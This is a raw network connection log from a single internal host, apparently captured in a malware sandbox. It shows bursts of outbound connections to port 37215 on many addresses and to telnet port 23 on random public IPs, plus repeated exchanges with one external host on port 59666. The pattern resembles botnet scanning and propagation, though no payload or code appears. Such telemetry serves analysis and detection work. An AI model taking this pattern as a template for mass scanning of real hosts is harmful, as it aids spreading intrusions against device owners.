Feb 4, 2025 18:17:38.453708887 CET	35556	37215	192.168.2.23	197.20.126.23
Feb 4, 2025 18:17:38.453708887 CET	35556	37215	192.168.2.23	156.141.236.206
Feb 4, 2025 18:17:38.453713894 CET	35556	37215	192.168.2.23	197.214.153.212
Feb 4, 2025 18:17:38.453713894 CET	35556	37215	192.168.2.23	156.186.48.28
Feb 4, 2025 18:17:38.453716040 CET	35556	37215	192.168.2.23	41.87.188.4
Feb 4, 2025 18:17:38.453720093 CET	35556	37215	192.168.2.23	41.211.29.183
Feb 4, 2025 18:17:38.453721046 CET	35556	37215	192.168.2.23	197.77.180.13
Feb 4, 2025 18:17:38.453726053 CET	35556	37215	192.168.2.23	156.131.105.38
Feb 4, 2025 18:17:38.453732014 CET	35556	37215	192.168.2.23	156.167.220.75
Feb 4, 2025 18:17:38.453732967 CET	35556	37215	192.168.2.23	41.184.118.248
Feb 4, 2025 18:17:38.453732967 CET	35556	37215	192.168.2.23	41.105.121.126
Feb 4, 2025 18:17:38.453732967 CET	35556	37215	192.168.2.23	156.151.235.48
Feb 4, 2025 18:17:38.453737020 CET	35556	37215	192.168.2.23	197.196.50.36
Feb 4, 2025 18:17:38.453737020 CET	35556	37215	192.168.2.23	197.191.239.62
Feb 4, 2025 18:17:38.453737974 CET	35556	37215	192.168.2.23	156.210.188.211
Feb 4, 2025 18:17:38.453737020 CET	35556	37215	192.168.2.23	41.211.189.183
Feb 4, 2025 18:17:38.453737974 CET	35556	37215	192.168.2.23	156.212.248.255
Feb 4, 2025 18:17:38.453737020 CET	35556	37215	192.168.2.23	197.128.7.205
Feb 4, 2025 18:17:38.453738928 CET	35556	37215	192.168.2.23	41.83.56.35
Feb 4, 2025 18:17:38.453737020 CET	35556	37215	192.168.2.23	156.93.224.42
Feb 4, 2025 18:17:38.453738928 CET	35556	37215	192.168.2.23	156.123.124.249
Feb 4, 2025 18:17:38.453738928 CET	35556	37215	192.168.2.23	197.131.3.134
Feb 4, 2025 18:17:38.453738928 CET	35556	37215	192.168.2.23	41.172.135.48
Feb 4, 2025 18:17:38.453754902 CET	35556	37215	192.168.2.23	197.98.96.174
Feb 4, 2025 18:17:38.453756094 CET	35556	37215	192.168.2.23	197.11.164.154
Feb 4, 2025 18:17:38.453756094 CET	35556	37215	192.168.2.23	156.37.213.244
Feb 4, 2025 18:17:38.453756094 CET	35556	37215	192.168.2.23	41.36.177.144
Feb 4, 2025 18:17:38.453763962 CET	35556	37215	192.168.2.23	156.59.135.95
Feb 4, 2025 18:17:38.453767061 CET	35556	37215	192.168.2.23	156.97.18.186
Feb 4, 2025 18:17:38.453772068 CET	35556	37215	192.168.2.23	41.150.216.105
Feb 4, 2025 18:17:38.453780890 CET	35556	37215	192.168.2.23	41.178.161.22
Feb 4, 2025 18:17:38.453780890 CET	35556	37215	192.168.2.23	41.235.78.46
Feb 4, 2025 18:17:38.453780890 CET	35556	37215	192.168.2.23	41.239.45.8
Feb 4, 2025 18:17:38.453789949 CET	35556	37215	192.168.2.23	197.176.219.202
Feb 4, 2025 18:17:38.453789949 CET	35556	37215	192.168.2.23	197.126.207.42
Feb 4, 2025 18:17:38.453794003 CET	35556	37215	192.168.2.23	197.132.186.148
Feb 4, 2025 18:17:38.453794003 CET	35556	37215	192.168.2.23	197.218.10.162
Feb 4, 2025 18:17:38.453797102 CET	35556	37215	192.168.2.23	197.210.185.169
Feb 4, 2025 18:17:38.453798056 CET	35556	37215	192.168.2.23	197.5.220.134
Feb 4, 2025 18:17:38.453800917 CET	35556	37215	192.168.2.23	156.116.80.113
Feb 4, 2025 18:17:38.453813076 CET	35556	37215	192.168.2.23	41.201.25.151
Feb 4, 2025 18:17:38.453815937 CET	35556	37215	192.168.2.23	41.62.73.200
Feb 4, 2025 18:17:38.453816891 CET	35556	37215	192.168.2.23	41.190.185.33
Feb 4, 2025 18:17:38.453819990 CET	35556	37215	192.168.2.23	197.187.20.93
Feb 4, 2025 18:17:38.453823090 CET	35556	37215	192.168.2.23	156.62.75.27
Feb 4, 2025 18:17:38.453823090 CET	35556	37215	192.168.2.23	156.250.6.24
Feb 4, 2025 18:17:38.453826904 CET	35556	37215	192.168.2.23	197.197.172.235
Feb 4, 2025 18:17:38.453831911 CET	35556	37215	192.168.2.23	156.140.62.230
Feb 4, 2025 18:17:38.453840971 CET	35556	37215	192.168.2.23	156.62.136.204
Feb 4, 2025 18:17:38.453840971 CET	35556	37215	192.168.2.23	41.32.239.198
Feb 4, 2025 18:17:38.453841925 CET	35556	37215	192.168.2.23	197.44.191.168
Feb 4, 2025 18:17:38.453843117 CET	35556	37215	192.168.2.23	156.50.204.109
Feb 4, 2025 18:17:38.453841925 CET	35556	37215	192.168.2.23	41.76.14.66
Feb 4, 2025 18:17:38.453840971 CET	35556	37215	192.168.2.23	197.144.104.132
Feb 4, 2025 18:17:38.453841925 CET	35556	37215	192.168.2.23	41.109.46.9
Feb 4, 2025 18:17:38.453844070 CET	35556	37215	192.168.2.23	197.225.39.122
Feb 4, 2025 18:17:38.453859091 CET	35556	37215	192.168.2.23	156.13.48.238
Feb 4, 2025 18:17:38.453859091 CET	35556	37215	192.168.2.23	41.239.121.39
Feb 4, 2025 18:17:38.453860044 CET	35556	37215	192.168.2.23	197.29.48.201
Feb 4, 2025 18:17:38.453870058 CET	35556	37215	192.168.2.23	41.166.105.136
Feb 4, 2025 18:17:38.453876019 CET	35556	37215	192.168.2.23	156.193.37.22
Feb 4, 2025 18:17:38.453883886 CET	35556	37215	192.168.2.23	41.81.108.111
Feb 4, 2025 18:17:38.453887939 CET	35556	37215	192.168.2.23	197.21.201.88
Feb 4, 2025 18:17:38.453887939 CET	35556	37215	192.168.2.23	197.178.186.237
Feb 4, 2025 18:17:38.453891039 CET	35556	37215	192.168.2.23	41.113.228.53
Feb 4, 2025 18:17:38.453887939 CET	35556	37215	192.168.2.23	197.81.242.42
Feb 4, 2025 18:17:38.453892946 CET	35556	37215	192.168.2.23	156.248.198.202
Feb 4, 2025 18:17:38.453893900 CET	35556	37215	192.168.2.23	197.132.13.222
Feb 4, 2025 18:17:38.453891039 CET	35556	37215	192.168.2.23	156.100.236.214
Feb 4, 2025 18:17:38.453893900 CET	35556	37215	192.168.2.23	156.136.250.112
Feb 4, 2025 18:17:38.453891993 CET	35556	37215	192.168.2.23	156.248.118.90
Feb 4, 2025 18:17:38.453892946 CET	35556	37215	192.168.2.23	41.71.72.25
Feb 4, 2025 18:17:38.453893900 CET	35556	37215	192.168.2.23	197.14.35.102
Feb 4, 2025 18:17:38.453902960 CET	35556	37215	192.168.2.23	156.170.83.34
Feb 4, 2025 18:17:38.453907013 CET	35556	37215	192.168.2.23	197.113.49.186
Feb 4, 2025 18:17:38.453907013 CET	35556	37215	192.168.2.23	156.147.9.121
Feb 4, 2025 18:17:38.453908920 CET	35556	37215	192.168.2.23	156.91.195.44
Feb 4, 2025 18:17:38.453911066 CET	35556	37215	192.168.2.23	156.189.178.188
Feb 4, 2025 18:17:38.453911066 CET	35556	37215	192.168.2.23	41.178.198.44
Feb 4, 2025 18:17:38.453911066 CET	35556	37215	192.168.2.23	156.49.124.248
Feb 4, 2025 18:17:38.453913927 CET	35556	37215	192.168.2.23	41.100.207.83
Feb 4, 2025 18:17:38.453913927 CET	35556	37215	192.168.2.23	197.92.236.246
Feb 4, 2025 18:17:38.453923941 CET	35556	37215	192.168.2.23	156.141.247.6
Feb 4, 2025 18:17:38.453923941 CET	35556	37215	192.168.2.23	197.207.109.196
Feb 4, 2025 18:17:38.453926086 CET	35556	37215	192.168.2.23	41.31.239.37
Feb 4, 2025 18:17:38.453938961 CET	35556	37215	192.168.2.23	197.84.253.201
Feb 4, 2025 18:17:38.453942060 CET	35556	37215	192.168.2.23	197.206.65.87
Feb 4, 2025 18:17:38.453948975 CET	35556	37215	192.168.2.23	156.171.253.178
Feb 4, 2025 18:17:38.453957081 CET	35556	37215	192.168.2.23	156.130.174.205
Feb 4, 2025 18:17:38.453957081 CET	35556	37215	192.168.2.23	156.60.57.123
Feb 4, 2025 18:17:38.453958035 CET	35556	37215	192.168.2.23	41.101.214.243
Feb 4, 2025 18:17:38.453958035 CET	35556	37215	192.168.2.23	197.74.174.151
Feb 4, 2025 18:17:38.453958035 CET	35556	37215	192.168.2.23	156.124.134.216
Feb 4, 2025 18:17:38.453958035 CET	35556	37215	192.168.2.23	41.210.30.92
Feb 4, 2025 18:17:38.453959942 CET	35556	37215	192.168.2.23	156.27.141.175
Feb 4, 2025 18:17:38.453963041 CET	35556	37215	192.168.2.23	197.137.243.208
Feb 4, 2025 18:17:38.453969002 CET	35556	37215	192.168.2.23	197.49.183.24
Feb 4, 2025 18:17:38.453969955 CET	35556	37215	192.168.2.23	156.210.202.131
Feb 4, 2025 18:17:38.453977108 CET	35556	37215	192.168.2.23	197.248.41.235
Feb 4, 2025 18:17:38.453978062 CET	35556	37215	192.168.2.23	41.5.180.246
Feb 4, 2025 18:17:38.453977108 CET	35556	37215	192.168.2.23	197.104.107.89
Feb 4, 2025 18:17:38.453977108 CET	35556	37215	192.168.2.23	197.160.238.91
Feb 4, 2025 18:17:38.453977108 CET	35556	37215	192.168.2.23	197.214.89.135
Feb 4, 2025 18:17:38.453977108 CET	35556	37215	192.168.2.23	197.158.96.85
Feb 4, 2025 18:17:38.453995943 CET	35556	37215	192.168.2.23	156.109.184.90
Feb 4, 2025 18:17:38.453995943 CET	35556	37215	192.168.2.23	197.150.132.9
Feb 4, 2025 18:17:38.453996897 CET	35556	37215	192.168.2.23	41.132.76.71
Feb 4, 2025 18:17:38.453995943 CET	35556	37215	192.168.2.23	197.140.226.232
Feb 4, 2025 18:17:38.454003096 CET	35556	37215	192.168.2.23	41.104.253.150
Feb 4, 2025 18:17:38.454004049 CET	35556	37215	192.168.2.23	41.204.4.131
Feb 4, 2025 18:17:38.454004049 CET	35556	37215	192.168.2.23	197.204.159.106
Feb 4, 2025 18:17:38.454004049 CET	35556	37215	192.168.2.23	197.136.97.61
Feb 4, 2025 18:17:38.454005957 CET	35556	37215	192.168.2.23	41.94.113.30
Feb 4, 2025 18:17:38.454129934 CET	50658	37215	192.168.2.23	197.177.231.91
Feb 4, 2025 18:17:38.454129934 CET	50658	37215	192.168.2.23	197.177.231.91
Feb 4, 2025 18:17:38.454164982 CET	45546	37215	192.168.2.23	197.208.150.161
Feb 4, 2025 18:17:38.454164982 CET	45546	37215	192.168.2.23	197.208.150.161
Feb 4, 2025 18:17:38.454173088 CET	45564	37215	192.168.2.23	197.208.150.161
Feb 4, 2025 18:17:38.454184055 CET	50676	37215	192.168.2.23	197.177.231.91
Feb 4, 2025 18:17:38.462790012 CET	37215	35556	156.191.162.7	192.168.2.23
Feb 4, 2025 18:17:38.462840080 CET	35556	37215	192.168.2.23	156.191.162.7
Feb 4, 2025 18:17:38.462919950 CET	37215	50658	197.177.231.91	192.168.2.23
Feb 4, 2025 18:17:38.462932110 CET	37215	45546	197.208.150.161	192.168.2.23
Feb 4, 2025 18:17:38.471549034 CET	80	33260	133.83.119.49	192.168.2.23
Feb 4, 2025 18:17:38.480179071 CET	41320	37215	192.168.2.23	41.8.93.210
Feb 4, 2025 18:17:38.480220079 CET	55036	37215	192.168.2.23	197.179.103.250
Feb 4, 2025 18:17:38.480225086 CET	58546	37215	192.168.2.23	41.76.169.97
Feb 4, 2025 18:17:38.488467932 CET	37215	41320	41.8.93.210	192.168.2.23
Feb 4, 2025 18:17:38.488481045 CET	37215	55036	197.179.103.250	192.168.2.23
Feb 4, 2025 18:17:38.488569975 CET	41320	37215	192.168.2.23	41.8.93.210
Feb 4, 2025 18:17:38.488609076 CET	41320	37215	192.168.2.23	41.8.93.210
Feb 4, 2025 18:17:38.488720894 CET	51236	37215	192.168.2.23	156.191.162.7
Feb 4, 2025 18:17:38.488776922 CET	55036	37215	192.168.2.23	197.179.103.250
Feb 4, 2025 18:17:38.488776922 CET	55036	37215	192.168.2.23	197.179.103.250
Feb 4, 2025 18:17:38.496581078 CET	37215	51236	156.191.162.7	192.168.2.23
Feb 4, 2025 18:17:38.496593952 CET	37215	41320	41.8.93.210	192.168.2.23
Feb 4, 2025 18:17:38.496656895 CET	51236	37215	192.168.2.23	156.191.162.7
Feb 4, 2025 18:17:38.496671915 CET	41320	37215	192.168.2.23	41.8.93.210
Feb 4, 2025 18:17:38.496730089 CET	51238	37215	192.168.2.23	156.191.162.7
Feb 4, 2025 18:17:38.496730089 CET	51236	37215	192.168.2.23	156.191.162.7
Feb 4, 2025 18:17:38.496730089 CET	51236	37215	192.168.2.23	156.191.162.7
Feb 4, 2025 18:17:38.497025967 CET	37215	55036	197.179.103.250	192.168.2.23
Feb 4, 2025 18:17:38.497078896 CET	55036	37215	192.168.2.23	197.179.103.250
Feb 4, 2025 18:17:38.504693031 CET	37215	51238	156.191.162.7	192.168.2.23
Feb 4, 2025 18:17:38.504703999 CET	37215	51236	156.191.162.7	192.168.2.23
Feb 4, 2025 18:17:38.504755974 CET	51238	37215	192.168.2.23	156.191.162.7
Feb 4, 2025 18:17:38.504770041 CET	51238	37215	192.168.2.23	156.191.162.7
Feb 4, 2025 18:17:38.506659031 CET	37215	45546	197.208.150.161	192.168.2.23
Feb 4, 2025 18:17:38.506669998 CET	37215	50658	197.177.231.91	192.168.2.23
Feb 4, 2025 18:17:38.514842987 CET	37215	51238	156.191.162.7	192.168.2.23
Feb 4, 2025 18:17:38.514894962 CET	51238	37215	192.168.2.23	156.191.162.7
Feb 4, 2025 18:17:38.547550917 CET	37215	51236	156.191.162.7	192.168.2.23
Feb 4, 2025 18:17:38.896136999 CET	42516	80	192.168.2.23	109.202.202.202
Feb 4, 2025 18:17:38.956299067 CET	59666	40656	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:38.956365108 CET	40656	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:38.956397057 CET	40656	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:38.963920116 CET	40668	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:38.968693972 CET	59666	40668	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:38.968808889 CET	40668	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:38.968808889 CET	40668	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:38.973592043 CET	59666	40668	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:38.973675013 CET	40668	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:38.978458881 CET	59666	40668	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:39.412095070 CET	47076	23	192.168.2.23	50.183.155.116
Feb 4, 2025 18:17:39.412096977 CET	47076	23	192.168.2.23	206.106.154.96
Feb 4, 2025 18:17:39.412095070 CET	47076	23	192.168.2.23	181.171.36.229
Feb 4, 2025 18:17:39.412096024 CET	47076	23	192.168.2.23	138.55.103.168
Feb 4, 2025 18:17:39.412126064 CET	47076	23	192.168.2.23	52.180.231.181
Feb 4, 2025 18:17:39.412126064 CET	47076	23	192.168.2.23	45.174.131.169
Feb 4, 2025 18:17:39.412126064 CET	47076	23	192.168.2.23	173.122.93.148
Feb 4, 2025 18:17:39.412126064 CET	47076	23	192.168.2.23	92.130.190.122
Feb 4, 2025 18:17:39.412126064 CET	47076	23	192.168.2.23	23.239.222.67
Feb 4, 2025 18:17:39.412139893 CET	47076	23	192.168.2.23	63.136.240.54
Feb 4, 2025 18:17:39.412143946 CET	47076	23	192.168.2.23	139.201.42.29
Feb 4, 2025 18:17:39.412159920 CET	47076	23	192.168.2.23	85.17.99.176
Feb 4, 2025 18:17:39.412162066 CET	47076	23	192.168.2.23	104.2.100.28
Feb 4, 2025 18:17:39.412177086 CET	47076	23	192.168.2.23	49.31.10.16
Feb 4, 2025 18:17:39.412177086 CET	47076	23	192.168.2.23	34.92.233.161
Feb 4, 2025 18:17:39.412178040 CET	47076	23	192.168.2.23	81.181.137.121
Feb 4, 2025 18:17:39.412178040 CET	47076	23	192.168.2.23	41.85.197.220
Feb 4, 2025 18:17:39.412187099 CET	47076	23	192.168.2.23	217.94.110.235
Feb 4, 2025 18:17:39.412190914 CET	47076	23	192.168.2.23	8.228.133.4
Feb 4, 2025 18:17:39.412187099 CET	47076	23	192.168.2.23	153.161.169.240
Feb 4, 2025 18:17:39.412190914 CET	47076	23	192.168.2.23	166.50.78.239
Feb 4, 2025 18:17:39.412187099 CET	47076	23	192.168.2.23	80.6.181.183
Feb 4, 2025 18:17:39.412187099 CET	47076	23	192.168.2.23	213.28.43.191
Feb 4, 2025 18:17:39.412187099 CET	47076	23	192.168.2.23	91.132.102.168
Feb 4, 2025 18:17:39.412187099 CET	47076	23	192.168.2.23	71.18.147.92
Feb 4, 2025 18:17:39.412187099 CET	47076	23	192.168.2.23	193.162.19.208
Feb 4, 2025 18:17:39.412188053 CET	47076	23	192.168.2.23	187.129.149.33
Feb 4, 2025 18:17:39.412192106 CET	47076	23	192.168.2.23	4.255.93.196
Feb 4, 2025 18:17:39.412192106 CET	47076	23	192.168.2.23	147.235.58.128
Feb 4, 2025 18:17:39.412192106 CET	47076	23	192.168.2.23	45.50.142.198
Feb 4, 2025 18:17:39.412192106 CET	47076	23	192.168.2.23	146.29.203.77
Feb 4, 2025 18:17:39.412204027 CET	47076	23	192.168.2.23	203.212.97.225
Feb 4, 2025 18:17:39.412204027 CET	47076	23	192.168.2.23	42.230.37.235
Feb 4, 2025 18:17:39.412220001 CET	47076	23	192.168.2.23	66.156.21.143
Feb 4, 2025 18:17:39.412220001 CET	47076	23	192.168.2.23	23.91.181.206
Feb 4, 2025 18:17:39.412220955 CET	47076	23	192.168.2.23	208.156.19.233
Feb 4, 2025 18:17:39.412220955 CET	47076	23	192.168.2.23	31.239.100.37
Feb 4, 2025 18:17:39.412220955 CET	47076	23	192.168.2.23	61.179.163.215
Feb 4, 2025 18:17:39.412220955 CET	47076	23	192.168.2.23	213.114.104.87
Feb 4, 2025 18:17:39.412230968 CET	47076	23	192.168.2.23	134.51.141.127
Feb 4, 2025 18:17:39.412246943 CET	47076	23	192.168.2.23	89.136.49.215
Feb 4, 2025 18:17:39.412246943 CET	47076	23	192.168.2.23	18.30.72.188
Feb 4, 2025 18:17:39.412251949 CET	47076	23	192.168.2.23	25.249.72.252
Feb 4, 2025 18:17:39.412265062 CET	47076	23	192.168.2.23	170.53.5.230
Feb 4, 2025 18:17:39.412265062 CET	47076	23	192.168.2.23	79.242.54.158
Feb 4, 2025 18:17:39.412265062 CET	47076	23	192.168.2.23	206.199.215.235
Feb 4, 2025 18:17:39.412265062 CET	47076	23	192.168.2.23	9.80.52.146
Feb 4, 2025 18:17:39.412265062 CET	47076	23	192.168.2.23	76.173.171.125
Feb 4, 2025 18:17:39.412267923 CET	47076	23	192.168.2.23	23.253.56.243
Feb 4, 2025 18:17:39.412267923 CET	47076	23	192.168.2.23	95.18.119.124
Feb 4, 2025 18:17:39.412267923 CET	47076	23	192.168.2.23	166.174.20.252
Feb 4, 2025 18:17:39.412278891 CET	47076	23	192.168.2.23	175.125.60.194
Feb 4, 2025 18:17:39.412278891 CET	47076	23	192.168.2.23	73.178.46.153
Feb 4, 2025 18:17:39.412278891 CET	47076	23	192.168.2.23	154.223.69.98
Feb 4, 2025 18:17:39.412287951 CET	47076	23	192.168.2.23	41.190.108.135
Feb 4, 2025 18:17:39.412292004 CET	47076	23	192.168.2.23	8.235.209.175
Feb 4, 2025 18:17:39.412298918 CET	47076	23	192.168.2.23	135.49.117.215
Feb 4, 2025 18:17:39.412298918 CET	47076	23	192.168.2.23	149.112.19.106
Feb 4, 2025 18:17:39.412300110 CET	47076	23	192.168.2.23	17.143.80.49
Feb 4, 2025 18:17:39.412300110 CET	47076	23	192.168.2.23	94.246.110.166
Feb 4, 2025 18:17:39.412307024 CET	47076	23	192.168.2.23	131.110.61.48
Feb 4, 2025 18:17:39.412307024 CET	47076	23	192.168.2.23	77.24.39.231
Feb 4, 2025 18:17:39.412308931 CET	47076	23	192.168.2.23	205.138.225.117
Feb 4, 2025 18:17:39.412338972 CET	47076	23	192.168.2.23	148.116.175.36
Feb 4, 2025 18:17:39.412339926 CET	47076	23	192.168.2.23	84.123.42.193
Feb 4, 2025 18:17:39.412338972 CET	47076	23	192.168.2.23	58.202.81.45
Feb 4, 2025 18:17:39.412339926 CET	47076	23	192.168.2.23	154.144.56.98
Feb 4, 2025 18:17:39.412338972 CET	47076	23	192.168.2.23	99.253.177.6
Feb 4, 2025 18:17:39.412350893 CET	47076	23	192.168.2.23	148.170.160.155
Feb 4, 2025 18:17:39.412350893 CET	47076	23	192.168.2.23	107.69.223.209
Feb 4, 2025 18:17:39.412352085 CET	47076	23	192.168.2.23	160.251.204.18
Feb 4, 2025 18:17:39.412352085 CET	47076	23	192.168.2.23	66.94.27.67
Feb 4, 2025 18:17:39.412353992 CET	47076	23	192.168.2.23	140.116.179.210
Feb 4, 2025 18:17:39.412353992 CET	47076	23	192.168.2.23	221.147.57.29
Feb 4, 2025 18:17:39.412353992 CET	47076	23	192.168.2.23	103.172.10.112
Feb 4, 2025 18:17:39.412354946 CET	47076	23	192.168.2.23	115.26.120.51
Feb 4, 2025 18:17:39.412358046 CET	47076	23	192.168.2.23	121.211.200.144
Feb 4, 2025 18:17:39.412358999 CET	47076	23	192.168.2.23	150.186.249.254
Feb 4, 2025 18:17:39.412358999 CET	47076	23	192.168.2.23	176.124.57.145
Feb 4, 2025 18:17:39.412358999 CET	47076	23	192.168.2.23	8.38.225.123
Feb 4, 2025 18:17:39.412359953 CET	47076	23	192.168.2.23	41.65.93.47
Feb 4, 2025 18:17:39.412360907 CET	47076	23	192.168.2.23	75.198.30.66
Feb 4, 2025 18:17:39.412360907 CET	47076	23	192.168.2.23	62.37.32.252
Feb 4, 2025 18:17:39.412365913 CET	47076	23	192.168.2.23	36.226.201.115
Feb 4, 2025 18:17:39.412365913 CET	47076	23	192.168.2.23	67.97.181.44
Feb 4, 2025 18:17:39.412367105 CET	47076	23	192.168.2.23	192.98.194.177
Feb 4, 2025 18:17:39.412365913 CET	47076	23	192.168.2.23	96.172.134.210
Feb 4, 2025 18:17:39.412367105 CET	47076	23	192.168.2.23	51.231.245.79
Feb 4, 2025 18:17:39.412367105 CET	47076	23	192.168.2.23	105.112.44.184
Feb 4, 2025 18:17:39.412367105 CET	47076	23	192.168.2.23	204.195.105.249
Feb 4, 2025 18:17:39.412367105 CET	47076	23	192.168.2.23	65.144.122.173
Feb 4, 2025 18:17:39.412372112 CET	47076	23	192.168.2.23	104.30.188.193
Feb 4, 2025 18:17:39.412372112 CET	47076	23	192.168.2.23	60.81.212.150
Feb 4, 2025 18:17:39.412372112 CET	47076	23	192.168.2.23	213.111.34.103
Feb 4, 2025 18:17:39.412373066 CET	47076	23	192.168.2.23	162.44.190.117
Feb 4, 2025 18:17:39.412373066 CET	47076	23	192.168.2.23	108.87.6.173
Feb 4, 2025 18:17:39.412373066 CET	47076	23	192.168.2.23	134.239.129.138
Feb 4, 2025 18:17:39.412380934 CET	47076	23	192.168.2.23	176.124.205.28
Feb 4, 2025 18:17:39.412385941 CET	47076	23	192.168.2.23	106.56.95.250
Feb 4, 2025 18:17:39.412388086 CET	47076	23	192.168.2.23	221.54.96.146
Feb 4, 2025 18:17:39.412395000 CET	47076	23	192.168.2.23	186.111.175.61
Feb 4, 2025 18:17:39.412396908 CET	47076	23	192.168.2.23	158.28.209.90
Feb 4, 2025 18:17:39.412398100 CET	47076	23	192.168.2.23	129.232.88.228
Feb 4, 2025 18:17:39.412399054 CET	47076	23	192.168.2.23	102.167.77.225
Feb 4, 2025 18:17:39.412405968 CET	47076	23	192.168.2.23	166.36.171.180
Feb 4, 2025 18:17:39.412412882 CET	47076	23	192.168.2.23	9.48.249.81
Feb 4, 2025 18:17:39.412412882 CET	47076	23	192.168.2.23	105.254.150.98
Feb 4, 2025 18:17:39.412424088 CET	47076	23	192.168.2.23	87.82.71.16
Feb 4, 2025 18:17:39.412431955 CET	47076	23	192.168.2.23	143.120.17.67
Feb 4, 2025 18:17:39.412432909 CET	47076	23	192.168.2.23	124.164.115.174
Feb 4, 2025 18:17:39.412432909 CET	47076	23	192.168.2.23	5.105.219.104
Feb 4, 2025 18:17:39.412432909 CET	47076	23	192.168.2.23	177.215.255.252
Feb 4, 2025 18:17:39.412437916 CET	47076	23	192.168.2.23	101.174.207.9
Feb 4, 2025 18:17:39.412437916 CET	47076	23	192.168.2.23	50.54.84.188
Feb 4, 2025 18:17:39.412445068 CET	47076	23	192.168.2.23	187.122.174.195
Feb 4, 2025 18:17:39.412445068 CET	47076	23	192.168.2.23	132.120.242.190
Feb 4, 2025 18:17:39.412446976 CET	47076	23	192.168.2.23	72.175.76.219
Feb 4, 2025 18:17:39.412458897 CET	47076	23	192.168.2.23	203.106.45.134
Feb 4, 2025 18:17:39.412465096 CET	47076	23	192.168.2.23	123.16.255.74
Feb 4, 2025 18:17:39.412467003 CET	47076	23	192.168.2.23	179.226.179.44
Feb 4, 2025 18:17:39.412470102 CET	47076	23	192.168.2.23	182.109.98.13
Feb 4, 2025 18:17:39.412470102 CET	47076	23	192.168.2.23	165.238.3.146
Feb 4, 2025 18:17:39.412470102 CET	47076	23	192.168.2.23	139.215.217.143
Feb 4, 2025 18:17:39.412470102 CET	47076	23	192.168.2.23	125.185.32.235
Feb 4, 2025 18:17:39.412481070 CET	47076	23	192.168.2.23	42.193.245.141
Feb 4, 2025 18:17:39.412481070 CET	47076	23	192.168.2.23	208.169.215.109
Feb 4, 2025 18:17:39.412483931 CET	47076	23	192.168.2.23	129.254.180.254
Feb 4, 2025 18:17:39.412483931 CET	47076	23	192.168.2.23	161.100.108.47
Feb 4, 2025 18:17:39.412483931 CET	47076	23	192.168.2.23	121.118.86.171
Feb 4, 2025 18:17:39.412483931 CET	47076	23	192.168.2.23	185.175.207.112
Feb 4, 2025 18:17:39.412491083 CET	47076	23	192.168.2.23	157.26.51.115
Feb 4, 2025 18:17:39.412491083 CET	47076	23	192.168.2.23	103.131.89.240
Feb 4, 2025 18:17:39.412493944 CET	47076	23	192.168.2.23	14.156.197.111
Feb 4, 2025 18:17:39.412493944 CET	47076	23	192.168.2.23	58.72.134.1
Feb 4, 2025 18:17:39.412494898 CET	47076	23	192.168.2.23	128.217.204.46
Feb 4, 2025 18:17:39.412494898 CET	47076	23	192.168.2.23	72.133.43.156
Feb 4, 2025 18:17:39.412496090 CET	47076	23	192.168.2.23	99.184.157.97
Feb 4, 2025 18:17:39.412499905 CET	47076	23	192.168.2.23	106.47.211.62
Feb 4, 2025 18:17:39.412502050 CET	47076	23	192.168.2.23	201.58.177.80
Feb 4, 2025 18:17:39.412506104 CET	47076	23	192.168.2.23	42.75.60.75
Feb 4, 2025 18:17:39.412509918 CET	47076	23	192.168.2.23	189.245.249.194
Feb 4, 2025 18:17:39.412513018 CET	47076	23	192.168.2.23	118.216.110.183
Feb 4, 2025 18:17:39.412518024 CET	47076	23	192.168.2.23	5.57.154.155
Feb 4, 2025 18:17:39.412519932 CET	47076	23	192.168.2.23	178.4.29.254
Feb 4, 2025 18:17:39.412522078 CET	47076	23	192.168.2.23	148.67.124.60
Feb 4, 2025 18:17:39.412522078 CET	47076	23	192.168.2.23	142.40.2.155
Feb 4, 2025 18:17:39.412525892 CET	47076	23	192.168.2.23	44.225.164.193
Feb 4, 2025 18:17:39.412527084 CET	47076	23	192.168.2.23	196.232.107.221
Feb 4, 2025 18:17:39.412525892 CET	47076	23	192.168.2.23	143.215.243.105
Feb 4, 2025 18:17:39.412528038 CET	47076	23	192.168.2.23	199.82.110.63
Feb 4, 2025 18:17:39.412527084 CET	47076	23	192.168.2.23	93.96.227.92
Feb 4, 2025 18:17:39.412528038 CET	47076	23	192.168.2.23	171.170.245.98
Feb 4, 2025 18:17:39.412529945 CET	47076	23	192.168.2.23	66.223.174.251
Feb 4, 2025 18:17:39.412547112 CET	47076	23	192.168.2.23	67.176.72.148
Feb 4, 2025 18:17:39.412547112 CET	47076	23	192.168.2.23	159.86.178.203
Feb 4, 2025 18:17:39.412549973 CET	47076	23	192.168.2.23	19.117.51.119
Feb 4, 2025 18:17:39.412558079 CET	47076	23	192.168.2.23	81.73.210.116
Feb 4, 2025 18:17:39.412558079 CET	47076	23	192.168.2.23	95.169.208.223
Feb 4, 2025 18:17:39.412559032 CET	47076	23	192.168.2.23	83.239.158.193
Feb 4, 2025 18:17:39.412559032 CET	47076	23	192.168.2.23	187.165.61.211
Feb 4, 2025 18:17:39.412563086 CET	47076	23	192.168.2.23	109.148.60.20
Feb 4, 2025 18:17:39.412564039 CET	47076	23	192.168.2.23	71.162.44.222
Feb 4, 2025 18:17:39.412569046 CET	47076	23	192.168.2.23	20.98.185.243
Feb 4, 2025 18:17:39.412570000 CET	47076	23	192.168.2.23	199.189.131.228
Feb 4, 2025 18:17:39.412586927 CET	47076	23	192.168.2.23	122.224.120.111
Feb 4, 2025 18:17:39.412587881 CET	47076	23	192.168.2.23	133.163.234.226
Feb 4, 2025 18:17:39.412587881 CET	47076	23	192.168.2.23	91.88.215.163
Feb 4, 2025 18:17:39.412596941 CET	47076	23	192.168.2.23	136.35.240.163
Feb 4, 2025 18:17:39.412596941 CET	47076	23	192.168.2.23	175.134.34.102
Feb 4, 2025 18:17:39.412596941 CET	47076	23	192.168.2.23	82.221.248.48
Feb 4, 2025 18:17:39.412600994 CET	47076	23	192.168.2.23	174.88.127.127
Feb 4, 2025 18:17:39.412600994 CET	47076	23	192.168.2.23	165.73.214.31
Feb 4, 2025 18:17:39.412614107 CET	47076	23	192.168.2.23	184.135.27.222
Feb 4, 2025 18:17:39.412623882 CET	47076	23	192.168.2.23	54.65.219.161
